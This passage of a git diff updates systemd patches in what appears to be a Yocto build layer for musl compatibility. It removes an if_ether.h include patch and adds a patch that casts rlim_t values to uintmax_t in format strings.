-diff --git a/src/boot/bless-boot.c b/src/boot/bless-boot.c
-index b96e1f927f..cba979baca 100644
---- a/src/boot/bless-boot.c
-+++ b/src/boot/bless-boot.c
-@@ -18,6 +18,7 @@
- #include "util.h"
- #include "verbs.h"
- #include "virt.h"
-+#include "missing_stdlib.h"
-
- static char **arg_path = NULL;
-
-diff --git a/src/core/dbus-cgroup.c b/src/core/dbus-cgroup.c
-index b7d2e32639..fdbc1df95e 100644
---- a/src/core/dbus-cgroup.c
-+++ b/src/core/dbus-cgroup.c
-@@ -15,6 +15,7 @@
- #include "fileio.h"
- #include "limits-util.h"
- #include "path-util.h"
-+#include "missing_stdlib.h"
-
- BUS_DEFINE_PROPERTY_GET(bus_property_get_tasks_max, "t", TasksMax, tasks_max_resolve);
-
-diff --git a/src/core/dbus-execute.c b/src/core/dbus-execute.c
-index 50f7ada8ce..5c760ee487 100644
---- a/src/core/dbus-execute.c
-+++ b/src/core/dbus-execute.c
-@@ -41,6 +41,7 @@
- #include "unit-printf.h"
- #include "user-util.h"
- #include "utf8.h"
-+#include "missing_stdlib.h"
-
- BUS_DEFINE_PROPERTY_GET_ENUM(bus_property_get_exec_output, exec_output, ExecOutput);
- static BUS_DEFINE_PROPERTY_GET_ENUM(property_get_exec_input, exec_input, ExecInput);
-diff --git a/src/core/dbus-util.c b/src/core/dbus-util.c
-index 951450e53d..50d134e9a1 100644
---- a/src/core/dbus-util.c
-+++ b/src/core/dbus-util.c
-@@ -7,6 +7,7 @@
- #include "unit-printf.h"
- #include "user-util.h"
- #include "unit.h"
-+#include "missing_stdlib.h"
-
- int bus_property_get_triggered_unit(
- sd_bus *bus,
-diff --git a/src/core/execute.c b/src/core/execute.c
-index 2a4840a3a9..d3f1e0e0f8 100644
---- a/src/core/execute.c
-+++ b/src/core/execute.c
-@@ -89,6 +89,7 @@
- #include "unit.h"
- #include "user-util.h"
- #include "utmp-wtmp.h"
-+#include "missing_stdlib.h"
-
- #define IDLE_TIMEOUT_USEC (5*USEC_PER_SEC)
- #define IDLE_TIMEOUT2_USEC (1*USEC_PER_SEC)
-diff --git a/src/core/kmod-setup.c b/src/core/kmod-setup.c
-index 09ccd613e3..f4e64fa283 100644
---- a/src/core/kmod-setup.c
-+++ b/src/core/kmod-setup.c
-@@ -11,6 +11,7 @@
- #include "macro.h"
- #include "string-util.h"
- #include "missing_type.h"
-+#include "missing_stdlib.h"
-
- #if HAVE_KMOD
- #include "module-util.h"
-diff --git a/src/core/service.c b/src/core/service.c
-index 00e61945ba..1ecab28354 100644
---- a/src/core/service.c
-+++ b/src/core/service.c
-@@ -41,6 +41,7 @@
- #include "unit.h"
- #include "utf8.h"
- #include "util.h"
-+#include "missing_stdlib.h"
-
- static const UnitActiveState state_translation_table[_SERVICE_STATE_MAX] = {
- [SERVICE_DEAD] = UNIT_INACTIVE,
-diff --git a/src/coredump/coredump-vacuum.c b/src/coredump/coredump-vacuum.c
-index 35885dfb47..bb9f0660a6 100644
---- a/src/coredump/coredump-vacuum.c
-+++ b/src/coredump/coredump-vacuum.c
-@@ -16,6 +16,7 @@
- #include "string-util.h"
- #include "time-util.h"
- #include "user-util.h"
-+#include "missing_stdlib.h"
-
- #define DEFAULT_MAX_USE_LOWER (uint64_t) (1ULL*1024ULL*1024ULL) /* 1 MiB */
- #define DEFAULT_MAX_USE_UPPER (uint64_t) (4ULL*1024ULL*1024ULL*1024ULL) /* 4 GiB */
-diff --git a/src/journal-remote/journal-remote-main.c b/src/journal-remote/journal-remote-main.c
-index 77dfdefd64..e21ecbeff8 100644
---- a/src/journal-remote/journal-remote-main.c
-+++ b/src/journal-remote/journal-remote-main.c
-@@ -22,6 +22,7 @@
- #include "stat-util.h"
- #include "string-table.h"
- #include "strv.h"
-+#include "missing_stdlib.h"
-
- #define PRIV_KEY_FILE CERTIFICATE_ROOT "/private/journal-remote.pem"
- #define CERT_FILE CERTIFICATE_ROOT "/certs/journal-remote.pem"
-diff --git a/src/journal/journalctl.c b/src/journal/journalctl.c
-index 8d4897b942..15476b3c83 100644
---- a/src/journal/journalctl.c
-+++ b/src/journal/journalctl.c
-@@ -69,6 +69,7 @@
- #include "unit-name.h"
- #include "user-util.h"
- #include "varlink.h"
-+#include "missing_stdlib.h"
-
- #define DEFAULT_FSS_INTERVAL_USEC (15*USEC_PER_MINUTE)
- #define PROCESS_INOTIFY_INTERVAL 1024 /* Every 1,024 messages processed */
-diff --git a/src/journal/sd-journal.c b/src/journal/sd-journal.c
-index 6fb0abb419..2d94d9938e 100644
---- a/src/journal/sd-journal.c
-+++ b/src/journal/sd-journal.c
-@@ -40,6 +40,7 @@
- #include "string-util.h"
- #include "strv.h"
- #include "syslog-util.h"
-+#include "missing_stdlib.h"
-
- #define JOURNAL_FILES_MAX 7168
-
-diff --git a/src/libsystemd/sd-bus/bus-message.c b/src/libsystemd/sd-bus/bus-message.c
-index 55e35cd902..0ed98f9224 100644
---- a/src/libsystemd/sd-bus/bus-message.c
-+++ b/src/libsystemd/sd-bus/bus-message.c
-@@ -21,6 +21,7 @@
- #include "strv.h"
- #include "time-util.h"
- #include "utf8.h"
-+#include "missing_stdlib.h"
-
- static int message_append_basic(sd_bus_message *m, char type, const void *p, const void **stored);
-
-diff --git a/src/libsystemd/sd-bus/bus-objects.c b/src/libsystemd/sd-bus/bus-objects.c
-index 6abac8822c..c74c9cd7fa 100644
---- a/src/libsystemd/sd-bus/bus-objects.c
-+++ b/src/libsystemd/sd-bus/bus-objects.c
-@@ -13,6 +13,7 @@
- #include "set.h"
- #include "string-util.h"
- #include "strv.h"
-+#include "missing_stdlib.h"
-
- static int node_vtable_get_userdata(
- sd_bus *bus,
-diff --git a/src/libsystemd/sd-bus/bus-socket.c b/src/libsystemd/sd-bus/bus-socket.c
-index fc7e8e844a..7af4dd2712 100644
---- a/src/libsystemd/sd-bus/bus-socket.c
-+++ b/src/libsystemd/sd-bus/bus-socket.c
-@@ -28,6 +28,7 @@
- #include "string-util.h"
- #include "user-util.h"
- #include "utf8.h"
-+#include "missing_stdlib.h"
-
- #define SNDBUF_SIZE (8*1024*1024)
-
-diff --git a/src/libsystemd/sd-bus/sd-bus.c b/src/libsystemd/sd-bus/sd-bus.c
-index 9de5e454a6..fe86c93c63 100644
---- a/src/libsystemd/sd-bus/sd-bus.c
-+++ b/src/libsystemd/sd-bus/sd-bus.c
-@@ -41,6 +41,7 @@
- #include "process-util.h"
- #include "string-util.h"
- #include "strv.h"
-+#include "missing_stdlib.h"
-
- #define log_debug_bus_message(m) \
- do { \
-diff --git a/src/libsystemd/sd-bus/test-bus-benchmark.c b/src/libsystemd/sd-bus/test-bus-benchmark.c
-index 8de0a859ee..58044b6ba9 100644
---- a/src/libsystemd/sd-bus/test-bus-benchmark.c
-+++ b/src/libsystemd/sd-bus/test-bus-benchmark.c
-@@ -14,6 +14,7 @@
- #include "missing_resource.h"
- #include "time-util.h"
- #include "util.h"
-+#include "missing_stdlib.h"
-
- #define MAX_SIZE (2*1024*1024)
-
-diff --git a/src/locale/keymap-util.c b/src/locale/keymap-util.c
-index 233d081300..40a32b9700 100644
---- a/src/locale/keymap-util.c
-+++ b/src/locale/keymap-util.c
-@@ -21,6 +21,7 @@
- #include "string-util.h"
- #include "strv.h"
- #include "tmpfile-util.h"
-+#include "missing_stdlib.h"
-
- static bool startswith_comma(const char *s, const char *prefix) {
- s = startswith(s, prefix);
-diff --git a/src/login/pam_systemd.c b/src/login/pam_systemd.c
-index 16f4289585..6c5e438b36 100644
---- a/src/login/pam_systemd.c
-+++ b/src/login/pam_systemd.c
-@@ -31,6 +31,7 @@
- #include "locale-util.h"
- #include "login-util.h"
- #include "macro.h"
-+#include "missing_stdlib.h"
- #include "pam-util.h"
- #include "parse-util.h"
- #include "path-util.h"
-diff --git a/src/network/generator/network-generator.c b/src/network/generator/network-generator.c
-index bed1e42697..e4847c2bee 100644
---- a/src/network/generator/network-generator.c
-+++ b/src/network/generator/network-generator.c
-@@ -13,6 +13,7 @@
- #include "string-table.h"
- #include "string-util.h"
- #include "strv.h"
-+#include "missing_stdlib.h"
-
- /*
- # .network
-diff --git a/src/nspawn/nspawn-settings.c b/src/nspawn/nspawn-settings.c
-index d341fa25aa..91646bc2c2 100644
---- a/src/nspawn/nspawn-settings.c
-+++ b/src/nspawn/nspawn-settings.c
-@@ -16,6 +16,7 @@
- #include "strv.h"
- #include "user-util.h"
- #include "util.h"
-+#include "missing_stdlib.h"
-
- Settings *settings_new(void) {
- Settings *s;
-diff --git a/src/nss-mymachines/nss-mymachines.c b/src/nss-mymachines/nss-mymachines.c
-index 5db0dcef76..681f8677e4 100644
---- a/src/nss-mymachines/nss-mymachines.c
-+++ b/src/nss-mymachines/nss-mymachines.c
-@@ -19,6 +19,7 @@
- #include "nss-util.h"
- #include "signal-util.h"
- #include "string-util.h"
-+#include "missing_stdlib.h"
-
- NSS_GETHOSTBYNAME_PROTOTYPES(mymachines);
- NSS_GETPW_PROTOTYPES(mymachines);
-diff --git a/src/portable/portable.c b/src/portable/portable.c
-index 3a1367ec2b..f29336cb1e 100644
---- a/src/portable/portable.c
-+++ b/src/portable/portable.c
-@@ -31,6 +31,7 @@
- #include "strv.h"
- #include "tmpfile-util.h"
- #include "user-util.h"
-+#include "missing_stdlib.h"
-
- static const char profile_dirs[] = CONF_PATHS_NULSTR("systemd/portable/profile");
-
-diff --git a/src/resolve/resolvectl.c b/src/resolve/resolvectl.c
-index 3072b984e5..c46ae374bf 100644
---- a/src/resolve/resolvectl.c
-+++ b/src/resolve/resolvectl.c
-@@ -36,6 +36,7 @@
- #include "strv.h"
- #include "terminal-util.h"
- #include "verbs.h"
-+#include "missing_stdlib.h"
-
- static int arg_family = AF_UNSPEC;
- static int arg_ifindex = 0;
-diff --git a/src/shared/bus-get-properties.c b/src/shared/bus-get-properties.c
-index 8ad4694046..da5082c02a 100644
---- a/src/shared/bus-get-properties.c
-+++ b/src/shared/bus-get-properties.c
-@@ -3,6 +3,7 @@
- #include "bus-get-properties.h"
- #include "rlimit-util.h"
- #include "string-util.h"
-+#include "missing_stdlib.h"
-
- int bus_property_get_bool(
- sd_bus *bus,
-diff --git a/src/shared/bus-unit-procs.c b/src/shared/bus-unit-procs.c
-index b21fe39326..af2640005c 100644
---- a/src/shared/bus-unit-procs.c
-+++ b/src/shared/bus-unit-procs.c
-@@ -10,6 +10,7 @@
- #include "sort-util.h"
- #include "string-util.h"
- #include "terminal-util.h"
-+#include "missing_stdlib.h"
-
- struct CGroupInfo {
- char *cgroup_path;
-diff --git a/src/shared/bus-unit-util.c b/src/shared/bus-unit-util.c
-index f2652ed9a5..eb019fc89f 100644
---- a/src/shared/bus-unit-util.c
-+++ b/src/shared/bus-unit-util.c
-@@ -39,6 +39,7 @@
- #include "unit-def.h"
- #include "user-util.h"
- #include "utf8.h"
-+#include "missing_stdlib.h"
-
- int bus_parse_unit_info(sd_bus_message *message, UnitInfo *u) {
- assert(message);
-diff --git a/src/shared/bus-util.c b/src/shared/bus-util.c
-index 77c1c62182..5cd31f3c15 100644
---- a/src/shared/bus-util.c
-+++ b/src/shared/bus-util.c
-@@ -22,6 +22,7 @@
- #include "socket-util.h"
- #include "stdio-util.h"
- /* #include "string-util.h" */
-+#include "missing_stdlib.h"
-
- static int name_owner_change_callback(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
- sd_event *e = userdata;
-diff --git a/src/shared/dns-domain.c b/src/shared/dns-domain.c
-index b812665315..8e68f7f8fc 100644
---- a/src/shared/dns-domain.c
-+++ b/src/shared/dns-domain.c
-@@ -23,6 +23,7 @@
- #include "string-util.h"
- #include "strv.h"
- #include "utf8.h"
-+#include "missing_stdlib.h"
-
- int dns_label_unescape(const char **name, char *dest, size_t sz, DNSLabelFlags flags) {
- const char *n;
-diff --git a/src/shared/journal-importer.c b/src/shared/journal-importer.c
-index 7c4fc7021d..3fbaf5a639 100644
---- a/src/shared/journal-importer.c
-+++ b/src/shared/journal-importer.c
-@@ -14,6 +14,7 @@
- #include "parse-util.h"
- #include "string-util.h"
- #include "unaligned.h"
-+#include "missing_stdlib.h"
-
- enum {
- IMPORTER_STATE_LINE = 0, /* waiting to read, or reading line */
-diff --git a/src/shared/logs-show.c b/src/shared/logs-show.c
-index 899e894ab7..628854ac9c 100644
---- a/src/shared/logs-show.c
-+++ b/src/shared/logs-show.c
-@@ -41,6 +41,7 @@
- #include "utf8.h"
- #include "util.h"
- #include "web-util.h"
-+#include "missing_stdlib.h"
-
- /* up to three lines (each up to 100 characters) or 300 characters, whichever is less */
- #define PRINT_LINE_THRESHOLD 3
-diff --git a/src/shared/pager.c b/src/shared/pager.c
-index e03be6d23b..50e3d1f75c 100644
---- a/src/shared/pager.c
-+++ b/src/shared/pager.c
-@@ -23,6 +23,7 @@
- #include "strv.h"
- #include "terminal-util.h"
- #include "util.h"
-+#include "missing_stdlib.h"
-
- static pid_t pager_pid = 0;
-
-diff --git a/src/shared/uid-range.c b/src/shared/uid-range.c
-index 7cb7d8a477..8e7d7f9e7c 100644
---- a/src/shared/uid-range.c
-+++ b/src/shared/uid-range.c
-@@ -9,6 +9,7 @@
- #include "sort-util.h"
- #include "uid-range.h"
- #include "user-util.h"
-+#include "missing_stdlib.h"
-
- static bool uid_range_intersect(UidRange *range, uid_t start, uid_t nr) {
- assert(range);
-diff --git a/src/socket-proxy/socket-proxyd.c b/src/socket-proxy/socket-proxyd.c
-index b461aead60..9941695ed9 100644
---- a/src/socket-proxy/socket-proxyd.c
-+++ b/src/socket-proxy/socket-proxyd.c
-@@ -26,6 +26,7 @@
- #include "socket-util.h"
- #include "string-util.h"
- #include "util.h"
-+#include "missing_stdlib.h"
-
- #define BUFFER_SIZE (256 * 1024)
-
-diff --git a/src/test/test-hexdecoct.c b/src/test/test-hexdecoct.c
-index 52217429b1..70708dedf3 100644
---- a/src/test/test-hexdecoct.c
-+++ b/src/test/test-hexdecoct.c
-@@ -6,6 +6,7 @@
- #include "hexdecoct.h"
- #include "macro.h"
- #include "string-util.h"
-+#include "missing_stdlib.h"
-
- static void test_hexchar(void) {
- assert_se(hexchar(0xa) == 'a');
-diff --git a/src/udev/udev-builtin-path_id.c b/src/udev/udev-builtin-path_id.c
-index 6c020ac0ed..10723ec46c 100644
---- a/src/udev/udev-builtin-path_id.c
-+++ b/src/udev/udev-builtin-path_id.c
-@@ -22,6 +22,7 @@
- #include "strv.h"
- #include "sysexits.h"
- #include "udev-builtin.h"
-+#include "missing_stdlib.h"
-
- _printf_(2,3)
- static void path_prepend(char **path, const char *fmt, ...) {
-diff --git a/src/udev/udev-event.c b/src/udev/udev-event.c
-index e1c2baf7f2..62d4086802 100644
---- a/src/udev/udev-event.c
-+++ b/src/udev/udev-event.c
-@@ -34,6 +34,7 @@
- #include "udev-util.h"
- #include "udev-watch.h"
- #include "user-util.h"
-+#include "missing_stdlib.h"
-
- typedef struct Spawn {
- sd_device *device;
-diff --git a/src/udev/udev-rules.c b/src/udev/udev-rules.c
-index c36f032f66..36970813d8 100644
---- a/src/udev/udev-rules.c
-+++ b/src/udev/udev-rules.c
-@@ -30,6 +30,7 @@
- #include "udev-rules.h"
- #include "user-util.h"
- #include "virt.h"
-+#include "missing_stdlib.h"
-
- #define RULES_DIRS (const char* const*) CONF_PATHS_STRV("udev/rules.d")
-
diff --git a/meta/recipes-core/systemd/systemd/0006-Include-netinet-if_ether.h.patch b/meta/recipes-core/systemd/systemd/0006-Include-netinet-if_ether.h.patch
deleted file mode 100644
index abc438e4ba..0000000000
--- a/meta/recipes-core/systemd/systemd/0006-Include-netinet-if_ether.h.patch
+++ /dev/null
@@ -1,279 +0,0 @@
-From 47818052121d135632f5e46c369e3e4706a0f9e0 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 26 Oct 2017 22:10:42 -0700
-Subject: [PATCH] Include netinet/if_ether.h
-
-Fixes
-/path/to/systemd/recipe-sysroot/usr/include/netinet/if_ether.h:101:8: error: redefinition of 'struct ethhdr'
- struct ethhdr {
- ^~~~~~
-
-and related arphdr, arpreq, and arpreq_old errors
-/path/to/systemd/recipe-sysroot/usr/include/net/if_arp.h:22:8: error: redefinition of 'struct arphdr'
- struct arphdr {
- ^~~~~~
-
-The latter requires removing some includes of net/if_arp.h to avoid
-conflicting with netinet/if_ether.h.
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
----
- src/libsystemd-network/sd-dhcp6-client.c | 1 -
- src/libsystemd/sd-netlink/netlink-types.c | 1 +
- src/machine/machine-dbus.c | 1 +
- src/network/netdev/bond.c | 1 +
- src/network/netdev/bridge.c | 1 +
- src/network/netdev/macsec.c | 1 +
- src/network/netdev/netdev-gperf.gperf | 1 +
- src/network/netdev/netdev.c | 1 +
- src/network/networkd-brvlan.c | 1 +
- src/network/networkd-dhcp-common.c | 1 +
- src/network/networkd-dhcp4.c | 2 +-
- src/network/networkd-dhcp6.c | 2 +-
- src/network/networkd-link.c | 2 +-
- src/network/networkd-network.c | 1 +
- src/network/test-network-tables.c | 1 +
- src/shared/ethtool-util.c | 1 +
- src/shared/ethtool-util.h | 1 +
- src/udev/net/link-config.c | 1 +
- src/udev/udev-builtin-net_setup_link.c | 1 +
- 19 files changed, 18 insertions(+), 4 deletions(-)
-
-Index: systemd-stable/src/libsystemd-network/sd-dhcp6-client.c
-===================================================================
---- systemd-stable.orig/src/libsystemd-network/sd-dhcp6-client.c
-+++ systemd-stable/src/libsystemd-network/sd-dhcp6-client.c
-@@ -5,7 +5,6 @@
-
- #include <errno.h>
- #include <sys/ioctl.h>
--#include <linux/if_arp.h>
- #include <linux/if_infiniband.h>
-
- #include "sd-dhcp6-client.h"
-Index: systemd-stable/src/libsystemd/sd-netlink/netlink-types.c
-===================================================================
---- systemd-stable.orig/src/libsystemd/sd-netlink/netlink-types.c
-+++ systemd-stable/src/libsystemd/sd-netlink/netlink-types.c
-@@ -3,6 +3,7 @@
- #include <netinet/in.h>
- #include <stdint.h>
- #include <sys/socket.h>
-+#include <netinet/if_ether.h>
- #include <linux/can/vxcan.h>
- #include <linux/netlink.h>
- #include <linux/rtnetlink.h>
-Index: systemd-stable/src/machine/machine-dbus.c
-===================================================================
---- systemd-stable.orig/src/machine/machine-dbus.c
-+++ systemd-stable/src/machine/machine-dbus.c
-@@ -3,6 +3,7 @@
- #include <errno.h>
- #include <sys/mount.h>
- #include <sys/wait.h>
-+#include <netinet/if_ether.h>
-
- /* When we include libgen.h because we need dirname() we immediately
- * undefine basename() since libgen.h defines it as a macro to the POSIX
-Index: systemd-stable/src/network/netdev/bond.c
-===================================================================
---- systemd-stable.orig/src/network/netdev/bond.c
-+++ systemd-stable/src/network/netdev/bond.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include "alloc-util.h"
- #include "bond.h"
- #include "bond-util.h"
-Index: systemd-stable/src/network/netdev/bridge.c
-===================================================================
---- systemd-stable.orig/src/network/netdev/bridge.c
-+++ systemd-stable/src/network/netdev/bridge.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include <net/if.h>
-
- #include "bridge.h"
-Index: systemd-stable/src/network/netdev/macsec.c
-===================================================================
---- systemd-stable.orig/src/network/netdev/macsec.c
-+++ systemd-stable/src/network/netdev/macsec.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include <netinet/in.h>
- #include <linux/if_ether.h>
- #include <linux/if_macsec.h>
-Index: systemd-stable/src/network/netdev/netdev-gperf.gperf
-===================================================================
---- systemd-stable.orig/src/network/netdev/netdev-gperf.gperf
-+++ systemd-stable/src/network/netdev/netdev-gperf.gperf
-@@ -2,6 +2,7 @@
- #if __GNUC__ >= 7
- _Pragma("GCC diagnostic ignored \"-Wimplicit-fallthrough\"")
- #endif
-+#include <netinet/if_ether.h>
- #include <stddef.h>
- #include "bond.h"
- #include "bridge.h"
-Index: systemd-stable/src/network/netdev/netdev.c
-===================================================================
---- systemd-stable.orig/src/network/netdev/netdev.c
-+++ systemd-stable/src/network/netdev/netdev.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include <net/if.h>
- #include <netinet/in.h>
- #include <unistd.h>
-Index: systemd-stable/src/network/networkd-brvlan.c
-===================================================================
---- systemd-stable.orig/src/network/networkd-brvlan.c
-+++ systemd-stable/src/network/networkd-brvlan.c
-@@ -4,6 +4,7 @@
- ***/
-
- #include <netinet/in.h>
-+#include <netinet/if_ether.h>
- #include <linux/if_bridge.h>
- #include <stdbool.h>
-
-Index: systemd-stable/src/network/networkd-dhcp-common.c
-===================================================================
---- systemd-stable.orig/src/network/networkd-dhcp-common.c
-+++ systemd-stable/src/network/networkd-dhcp-common.c
-@@ -5,6 +5,7 @@
- #include "escape.h"
- #include "in-addr-util.h"
- #include "networkd-dhcp-common.h"
-+#include <netinet/if_ether.h>
- #include "networkd-network.h"
- #include "parse-util.h"
- #include "string-table.h"
-Index: systemd-stable/src/network/networkd-dhcp4.c
-===================================================================
---- systemd-stable.orig/src/network/networkd-dhcp4.c
-+++ systemd-stable/src/network/networkd-dhcp4.c
-@@ -1,9 +1,9 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include <netinet/in.h>
- #include <netinet/ip.h>
- #include <linux/if.h>
--#include <linux/if_arp.h>
-
- #include "escape.h"
- #include "alloc-util.h"
-Index: systemd-stable/src/network/networkd-dhcp6.c
-===================================================================
---- systemd-stable.orig/src/network/networkd-dhcp6.c
-+++ systemd-stable/src/network/networkd-dhcp6.c
-@@ -3,9 +3,9 @@
- Copyright © 2014 Intel Corporation. All rights reserved.
- ***/
-
-+#include <netinet/if_ether.h>
- #include <netinet/in.h>
- #include <linux/if.h>
--#include <linux/if_arp.h>
-
- #include "sd-dhcp6-client.h"
-
-Index: systemd-stable/src/network/networkd-link.c
-===================================================================
---- systemd-stable.orig/src/network/networkd-link.c
-+++ systemd-stable/src/network/networkd-link.c
-@@ -1,8 +1,8 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include <netinet/in.h>
- #include <linux/if.h>
--#include <linux/if_arp.h>
- #include <linux/if_link.h>
- #include <unistd.h>
-
-Index: systemd-stable/src/network/networkd-network.c
-===================================================================
---- systemd-stable.orig/src/network/networkd-network.c
-+++ systemd-stable/src/network/networkd-network.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include <net/if.h>
- #include <netinet/in.h>
- #include <linux/netdevice.h>
-Index: systemd-stable/src/network/test-network-tables.c
-===================================================================
---- systemd-stable.orig/src/network/test-network-tables.c
-+++ systemd-stable/src/network/test-network-tables.c
-@@ -1,3 +1,4 @@
-+#include <netinet/if_ether.h>
- #include "bond.h"
- #include "dhcp6-internal.h"
- #include "dhcp6-protocol.h"
-Index: systemd-stable/src/shared/ethtool-util.c
-===================================================================
---- systemd-stable.orig/src/shared/ethtool-util.c
-+++ systemd-stable/src/shared/ethtool-util.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include <net/if.h>
- #include <sys/ioctl.h>
- #include <linux/ethtool.h>
-Index: systemd-stable/src/shared/ethtool-util.h
-===================================================================
---- systemd-stable.orig/src/shared/ethtool-util.h
-+++ systemd-stable/src/shared/ethtool-util.h
-@@ -3,6 +3,7 @@
-
- #include <macro.h>
- #include <net/ethernet.h>
-+#include <netinet/if_ether.h>
- #include <linux/ethtool.h>
-
- #include "conf-parser.h"
-Index: systemd-stable/src/udev/net/link-config.c
-===================================================================
---- systemd-stable.orig/src/udev/net/link-config.c
-+++ systemd-stable/src/udev/net/link-config.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include <linux/netdevice.h>
- #include <netinet/ether.h>
- #include <unistd.h>
-Index: systemd-stable/src/udev/udev-builtin-net_setup_link.c
-===================================================================
---- systemd-stable.orig/src/udev/udev-builtin-net_setup_link.c
-+++ systemd-stable/src/udev/udev-builtin-net_setup_link.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include "device-util.h"
- #include "alloc-util.h"
- #include "link-config.h"
diff --git a/meta/recipes-core/systemd/systemd/0006-Use-uintmax_t-for-handling-rlim_t.patch b/meta/recipes-core/systemd/systemd/0006-Use-uintmax_t-for-handling-rlim_t.patch
new file mode 100644
index 0000000000..4be14b72ec
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0006-Use-uintmax_t-for-handling-rlim_t.patch
@@ -0,0 +1,106 @@
+From 96e975a2412a20e5f80bd3ab144057d275eb8597 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 15:12:41 +0800
+Subject: [PATCH 06/22] Use uintmax_t for handling rlim_t
+
+PRIu{32,64} is not right format to represent rlim_t type
+therefore use %ju and typecast the rlim_t variables to
+uintmax_t.
+
+Fixes portablility errors like
+
+execute.c:3446:36: error: format '%lu' expects argument of type 'long unsigned int', but argument 5 has type 'rlim_t {aka long long unsigned int}' [-Werror=format=]
+| fprintf(f, "%s%s: " RLIM_FMT "\n",
+| ^~~~~~~~
+| prefix, rlimit_to_string(i), c->rlimit[i]->rlim_max);
+| ~~~~~~~~~~~~~~~~~~~~~~
+
+Upstream-Status: Denied [https://github.com/systemd/systemd/pull/7199]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+[Rebased for v241]
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ src/basic/format-util.h | 8 +-------
+ src/basic/rlimit-util.c | 12 ++++++------
+ src/core/execute.c | 4 ++--
+ 3 files changed, 9 insertions(+), 15 deletions(-)
+
+diff --git a/src/basic/format-util.h b/src/basic/format-util.h
+index 8719df3e29..9becc96066 100644
+--- a/src/basic/format-util.h
++++ b/src/basic/format-util.h
+@@ -34,13 +34,7 @@ assert_cc(sizeof(gid_t) == sizeof(uint32_t));
+ # error Unknown timex member size
+ #endif
+
+-#if SIZEOF_RLIM_T == 8
+-# define RLIM_FMT "%" PRIu64
+-#elif SIZEOF_RLIM_T == 4
+-# define RLIM_FMT "%" PRIu32
+-#else
+-# error Unknown rlim_t size
+-#endif
++#define RLIM_FMT "%ju"
+
+ #if SIZEOF_DEV_T == 8
+ # define DEV_FMT "%" PRIu64
+diff --git a/src/basic/rlimit-util.c b/src/basic/rlimit-util.c
+index c1f0b2b974..61c5412582 100644
+--- a/src/basic/rlimit-util.c
++++ b/src/basic/rlimit-util.c
+@@ -44,7 +44,7 @@ int setrlimit_closest(int resource, const struct rlimit *rlim) {
+ fixed.rlim_max == highest.rlim_max)
+ return 0;
+
+- log_debug("Failed at setting rlimit " RLIM_FMT " for resource RLIMIT_%s. Will attempt setting value " RLIM_FMT " instead.", rlim->rlim_max, rlimit_to_string(resource), fixed.rlim_max);
++ log_debug("Failed at setting rlimit " RLIM_FMT " for resource RLIMIT_%s. Will attempt setting value " RLIM_FMT " instead.", (uintmax_t)rlim->rlim_max, rlimit_to_string(resource), (uintmax_t)fixed.rlim_max);
+
+ return RET_NERRNO(setrlimit(resource, &fixed));
+ }
+@@ -307,13 +307,13 @@ int rlimit_format(const struct rlimit *rl, char **ret) {
+ if (rl->rlim_cur >= RLIM_INFINITY && rl->rlim_max >= RLIM_INFINITY)
+ r = free_and_strdup(&s, "infinity");
+ else if (rl->rlim_cur >= RLIM_INFINITY)
+- r = asprintf(&s, "infinity:" RLIM_FMT, rl->rlim_max);
++ r = asprintf(&s, "infinity:" RLIM_FMT, (uintmax_t)rl->rlim_max);
+ else if (rl->rlim_max >= RLIM_INFINITY)
+- r = asprintf(&s, RLIM_FMT ":infinity", rl->rlim_cur);
++ r = asprintf(&s, RLIM_FMT ":infinity", (uintmax_t)rl->rlim_cur);
+ else if (rl->rlim_cur == rl->rlim_max)
+- r = asprintf(&s, RLIM_FMT, rl->rlim_cur);
++ r = asprintf(&s, RLIM_FMT, (uintmax_t)rl->rlim_cur);
+ else
+- r = asprintf(&s, RLIM_FMT ":" RLIM_FMT, rl->rlim_cur, rl->rlim_max);
++ r = asprintf(&s, RLIM_FMT ":" RLIM_FMT, (uintmax_t)rl->rlim_cur, (uintmax_t)rl->rlim_max);
+ if (r < 0)
+ return -ENOMEM;
+
+@@ -422,7 +422,7 @@ int rlimit_nofile_safe(void) {
+ rl.rlim_max = MIN(rl.rlim_max, (rlim_t) read_nr_open());
+ rl.rlim_cur = MIN((rlim_t) FD_SETSIZE, rl.rlim_max);
+ if (setrlimit(RLIMIT_NOFILE, &rl) < 0)
+- return log_debug_errno(errno, "Failed to lower RLIMIT_NOFILE's soft limit to " RLIM_FMT ": %m", rl.rlim_cur);
